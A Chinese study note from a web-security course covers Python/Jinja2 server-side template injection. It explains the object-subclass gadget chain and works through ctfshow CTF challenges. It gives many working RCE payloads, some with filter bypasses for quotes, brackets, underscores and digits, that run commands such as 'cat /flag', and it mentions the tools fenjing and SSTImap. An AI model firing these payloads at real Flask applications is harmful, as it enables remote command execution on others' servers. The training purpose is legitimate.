小迪安全v2023学习笔记(七十讲)—— Python安全&SSTI模板注入&项目工具

文章目录

前记

  • 今天是学习小迪安全的第七十天,转眼一个月就过去了,真的很快,坚持看到这里的小伙伴,你们都是最棒的!相信只要坚持下去,都能成为网络安全领域的佼佼者!
  • 本节课是Python安全的第一节课,主要内容是SSTI模板注入,讲了其原理、绕过思路以及利用工具
  • 主要以实战为主,但也需要理解SSTI注入的攻击思路

WEB攻防------第七十天

Python安全&SSTI模板注入&Jinja2引擎&利用绕过项目&黑盒检测

Python - SSTI注入-类型&形成&利用

什么是SSTI
  • SSTIServer Side Template Injection,服务器端模板注入)服务端接收攻击者的输入,将其作为 Web 应用模板内容的一部分
  • 在进行目标编译渲染的过程中,使用了语句的拼接,执行了所插入的恶意内容
  • 从而导致信息泄露、代码执行、GetShell 等问题,其影响范围取决于模版引擎复杂性
  • 注意:模板引擎和渲染函数本身是没有漏洞的,该漏洞产生原因在于模板可控引发代码注入
各语言框架SSTI
  • PHPsmartytwig...
  • Pythonjinja2makotornadoDjango...
  • JavaThymeleafjadevelocityFreeMarker...
  • 其他语言的常用模板框架如上图所示
常见魔术方法以及参数
python 复制代码
1.__class__: 类的一个内置属性,表示实例对象的类。
2.__base__: 类型对象的直接基类
3.__bases__: 类型对象的全部基类,以元组形式,类型的实例通常没有属性 
4.__mro__: method resolution order,即解析方法调用的顺序;此属性是由类组成的元 组,在方法解析期间会基于它来查找基类。
5.__subclasses__(): 返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。
6.__init__: 初始化类,返回的类型是function
7.__globals__: 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
8.__dic__: 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
9.__getattribute__(): 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
10.__getitem__(): 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
11.__builtins__: 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
12.__import__: 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
13.__str__(): 返回描写这个对象的字符串,可以理解成就是打印出来。
14.url_for: flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
15.get_flashed_messages: flask的一个方法,可以用于得到__builtins__,而且get_flashed_messages.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
16.current_app: 应用上下文,一个全局变量。
17.request: 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
18.request.args.x1: get传参
19.request.values.x1: 获取url中get传递参数
20.request.cookies: cookies参数
21.request.headers: 请求头参数
22.request.form.x1: post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
23.request.data: post传参 (Content-Type:a/b)
24.request.json: post传json (Content-Type: application/json)
25.config: 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g {{g}}得到<flask.g of 'flask_ssti'>
  • 上面这些是SSTI常用的参数或魔术方法,不需要全部记住,做个了解,用到的时候查一下即可
案例演示
  • 这里我们主要研究的是Python语言的模板注入
  • 形成SSTI注入的主要原因是在进行目标编译渲染的过程中,使用了语句的拼接,而传入的参数可控,导致了传入恶意代码执行
  • 比如下面的代码:
python 复制代码
from flask import Flask, request, render_template_string
from jinja2 import Template
 
app = Flask(__name__)
 
@app.route('/')
def index():
    name = request.args.get('name', default='xiaodi')
    t = '''
    <html>
        <h1>Hello %s</h1>
    </html>
    ''' % (name)
    # 将一段字符串作为模板进行渲染
    return render_template_string(t)
app.run()
  • 这里直接运行这个代码,然后可以看到它渲染出来的一个结果:

  • 正常来说从传入 name 参数值是什么就会渲染什么,但是有模板引擎解析符号,从而将符号内的东西进行执行

  • 不同的模板引擎有不同的语法去执行一些表达式 ,比如这里用的jinja2就是用{``{}}去解析表达式,因此我们输入{``{2*3}},他会将其视作表达式进行运算而不是字符串,得到的结果为6:

  • 此时如果结果回显为6,就说明它可能存在SSTI

  • 一般SSTI都是配合RCE使用,既然要造成RCE,那么我们肯定就要得到它可以执行代码/系统命令的函数

  • Python中常见的命令执行函数是os类中的popen方法,于是我们就想办法通过这里去拿到os类,然后构建对象调用popen方法执行任意命令

  • 而这里其实Python和Java有点类似,Java中所有的类都继承一个Object类,Python中也有一个根类object,虽然有区别,但是在这里你只需要知道有这个东西就行了

  • 所以我们可以通过一个空字符串或者空列表 对象,调用__class__魔术方法拿到这个对象的类,然后通过__base__方法拿到object类,紧接着通过__subclasses__()方法拿到object下面的所有子类,即调用下面的链:

python 复制代码
{{''.__class__.__base__.__subclasses__()}}
  • 拿到它的所有子类之后,我们需要分析os类的具体位置,这里可以将其丢到记事本当中:

  • 然后找到os类所在的位置,注意这里记事本中是以1开头,而数组/列表索引是以0开头,因此它的实际位置是142(不同的环境这个位置是不同的!):

  • 所以我们就需要通过索引拿到这个os类, 之后,我们要使用里面的方法需要构造一个对象出来,于是用到__init__魔术方法:

python 复制代码
{{''.__class__.__base__.__subclasses__()[142].__init__}}
  • 这里我们要找到popen方法,所以可以通过__globals__获取__init__方法所在的全局命名空间字典,其中包含该方法定义时可见的所有全局变量和函数
python 复制代码
{{''.__class__.__base__.__subclasses__()[142].__init__.__globals__}}
  • 所以直接调用popen方法,然后传入我们想执行的命令即可:
python 复制代码
{{''.__class__.__base__.__subclasses__()[142].__init__.__globals__.popen('calc')}}
  • 这就是最典型的SSTI注入漏洞的利用方式
其他引用利用方式
  • 除了上面那种最基础的利用方式外,还有一些其他的:
python 复制代码
1. '':
   {{''.__class__.__base__.__subclasses__()[132].__init__.__globals__.popen('calc')}}

2. []: 
	{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('calc')}}

3. config:
	{{config.__class__.__init__.__globals__['os'].popen('calc')}}

4. url_for:
	{{url_for.__globals__.os.popen('calc')}}

5. lipsum:
   {{lipsum.__globals__['os'].popen('calc')}}

6. get_flashed_messages: 
   {{get_flashed_messages.__globals__['os'].popen('calc')}}
  • 根据不同的情况有不同的使用方式

Python - SSTI注入-演示&项目

案例演示
  • Python的SSTI注入主要在CTF中见得比较多,这里就用ctfshow题目来演示遇到过滤如何绕过的情况
Web361(无过滤)
  • 提示了名字就是考点,那么就传入参数name,正常回显,实战中这里可以测XSS,当然这里是SSTI

  • 我们首先需要判断是哪种模板渲染,一般是先判断Python,再判断其他语言,这里看具体是那个模板引擎可以使用

  • 一般就是根据这张图来进行判断,当然也可以通过我们开头那张图去判断

  • 这里判断过程就省略了,模板是jinja2,然后我们就直接使用刚才语法去玩呗,先判断os类的位置:

python 复制代码
{{''.__class__.__base__.__subclasses__()}}
  • 放到记事本中,发现os类在132的位置:

  • 于是直接给出payload,注意使用popen()需要使用read()方法才能读取文件内容:

python 复制代码
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__.popen('tac /flag').read()}}
Web362(过滤数字)
  • 这里提示了有过滤,具体过滤什么,目前不清楚,那就先直接测试,遇到过滤了再逐个排查

  • 先看os的位置:

  • 这里正常回显,说明没有过滤,它在132这个位置,于是尝试payload

  • 这里被过滤了,那就说明我们后面出现的代码有问题,逐个尝试呗,先看能不能正常调用os

python 复制代码
{{''.__class__.__base__.__subclasses__()[132]}}
  • 这里就说明可能是过滤了[],也可能是过滤了某个数字,再依次尝试一遍发现过滤了数字2、3

  • 怎么办呢?不能用数字了,那我们就换种引用方式呗,比如上面的configpayload,直接尝试:

  • 成功读取到flag,当然用其他几个都是一样的,只要不出现2、3即可

Web363(过滤单双引号)
  • 这里过滤的是单双引号,然后我们发现,上面的所有payload都有单引号啊,怎么办呢?
  • 不知道你们还记不记得之前碰到SSRF过滤时用到了一个带外思路:
php 复制代码
include $_GET[a]?>&a=data://text/plain,<?php system('ver');?>
  • 将参数的值也通过参数的形式传递进去,达到绕过的效果,那么这里也是一样,可以在需要传值的地方使用request.values.xrequest.args.y的方式传值绕过单引号:
python 复制代码
{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.x](request.args.y).read()}}&x=popen&y=cat%20/flag
Web364(过滤单双引号+args)
  • 这关过滤了单双引号,以及关键字args,至于怎么发现的就不多说了
  • 这里我们的绕过方式是在上一题的基础上使用request.values.x或者request.cookie.x都可以:
python 复制代码
{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__[request.values.x](request.values.y).read()}}&x=popen&y=cat%20/flag
Web365(过滤单双引号+中括号+args)
  • 本题过滤了单双引号、中括号以及args关键字,那我们上面的payload中有不用中括号的:
python 复制代码
{{url_for.__globals__.os.popen('calc')}}
  • 这里把传值改成上题的request.values.x即可:
python 复制代码
{{url_for.__globals__.os.popen(request.values.x).read()}}&x=cat%20/flag
Web366(过滤单双引号+中括号+下划线+args)
  • 本题过滤了单双引号、中括号、下划线以及args关键字,我们上面的payload除了魔术方法没有用到下划线的是:
python 复制代码
1. {{config.__class__.__init__.__globals__['os'].popen('calc')}}

2. {{lipsum.__globals__['os'].popen('calc')}}
  • 那么
  • 其实这里的一种思路就是全部通过request.values.x带出去,比如payload是这样:
python 复制代码
{{lipsum.[request.values.x][request.values.y].popen(request.values.z).read()}}&x=__globals__&y=os&z=cat%20/flag
  • 但是很可惜,这里同时过滤了中括号,所以这种思路不行
  • 于是我们有一种新的方法,是通过|attr()过滤器配合动态参数,比如这样:
python 复制代码
?name={{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag
  • 这里相当于是|attr(__globals__),通过字符串名称获取对象的属性,大概就是这么个意思,其实我也不是很懂
绕过总结
  • 在黑盒测试中,可能会有各种各样的过滤 ,常见的有:
    1. 过滤特殊数字,一般为2、3
    2. 过滤单双引号
    3. 过滤中括号
    4. 过滤下划线
    5. 过滤点号
    6. 过滤某些关键字 => args、config、os、popen...
  • 而这些我们都可以通过{``{}}去解析判断
    1. {``{2 * 3}} => 特殊数字
    2. {``{""}} => 单双引号
    3. {``{()}} => 括号
    4. {``{[]}} => 中括号
    5. {``{_}} => 下划线
    6. {``{.}} => 点号
    7. {``{args...}} => 关键字
  • 于是我们就有多种多样的方式和Payload去尝试绕过这些限制:
过滤数字
  • 使用没有数字的payload,或者通过外带传入数字:
python 复制代码
1. config:
	{{config.__class__.__init__.__globals__['os'].popen('calc')}} 

2. url_for:
   {{url_for.__globals__.os.popen('calc')}} 

3. lipsum:
   {{lipsum.__globals__['os'].popen('calc')}} 

4. get_flashed_messages:
   {{get_flashed_messages.__globals__['os'].popen('calc')}}
过滤单双引号
  • 通过外带传入参数绕过单双引号:
python 复制代码
{{config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read()}}&a=os&b=cat /flag
过滤指定字符
  • 使用chr()函数或者平替,比如过滤了args关键字就使用其他相同效果的关键字:
python 复制代码
{{config.__class__.__init__.__globals__[request.values.a].popen(request.values.b).read()}}&a=os&b=cat /flag
过滤中括号
  • 使用不带中括号的payload
python 复制代码
{{url_for.__globals__.os.popen(request.values.c).read()}}&c=cat /flag
过滤下划线
  • 使用|attr()函数:
python 复制代码
{{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag
其他
项目工具
  • 一般黑盒测试或者CTF中基本是判断出来然后工具一把梭

  • 这里有几个好用的项目:

    1. SSTImap:python3,支持的模板很多,也更加好用
    2. fenjing:专门为CTF中SSTI注入题型设计的工具,支持Web网页操作,不过好像仅支持flaskjinja2
  • 然后还有个SSTI的靶场集合:Pav-ksd-pl/websitesVulnerableToSSTI

  • 那我们可以直接使用这两款工具看一看刚刚的ctf题能不能一把梭出来:

  • fenjing直接使用命令或者网页端填写数据都可以(注意这里提示证书错误时换成http即可 ):

  • 也是成功拿到了flag

  • SSTImap也是进入文件夹使用命令即可:

  • 但是可以看到这个遇到严格一点的过滤它可能就测不出来了,因为它默认的payload可能比较水,但是可以自定义payload使用

  • 如果是打ctf,并且模板引擎是jinja2,使用fenjing即可;如果是其他的模板引擎,那么就自定义payloadSSTImap

相关推荐
llrraa201012 分钟前
python whisper生成字幕
开发语言·python·whisper
杭州泽沃电子科技有限公司20 分钟前
工业环境电缆火灾预防的分布式光纤在线监测
运维·人工智能·科技·安全
没有梦想的咸鱼185-1037-166321 分钟前
AI大模型支持下的:CMIP6数据分析与可视化、降尺度技术与气候变化的区域影响、极端气候分析
人工智能·python·深度学习·机器学习·chatgpt·数据挖掘·数据分析
Ratten32 分钟前
批量识别图片文字保存到 excel 中
python
qq_3411604444 分钟前
文件系统挂载详细分析(《图解Linux内核》虚拟文件系统篇笔记二)
linux·服务器·笔记
WSSWWWSSW1 小时前
Seaborn数据可视化实战:Seaborn多变量图表绘制高级教程
python·信息可视化·数据分析·matplotlib·seaborn
ScottePerk1 小时前
前端安全之XSS和CSRF
前端·安全·xss
ShawnLeiLei2 小时前
2.3 Flink的核心概念解析
数据库·python·flink
-Xie-2 小时前
Maven(三)
python·pycharm·maven
WSSWWWSSW2 小时前
Seaborn数据可视化实战:Seaborn颜色与样式定制教程
python·信息可视化·seaborn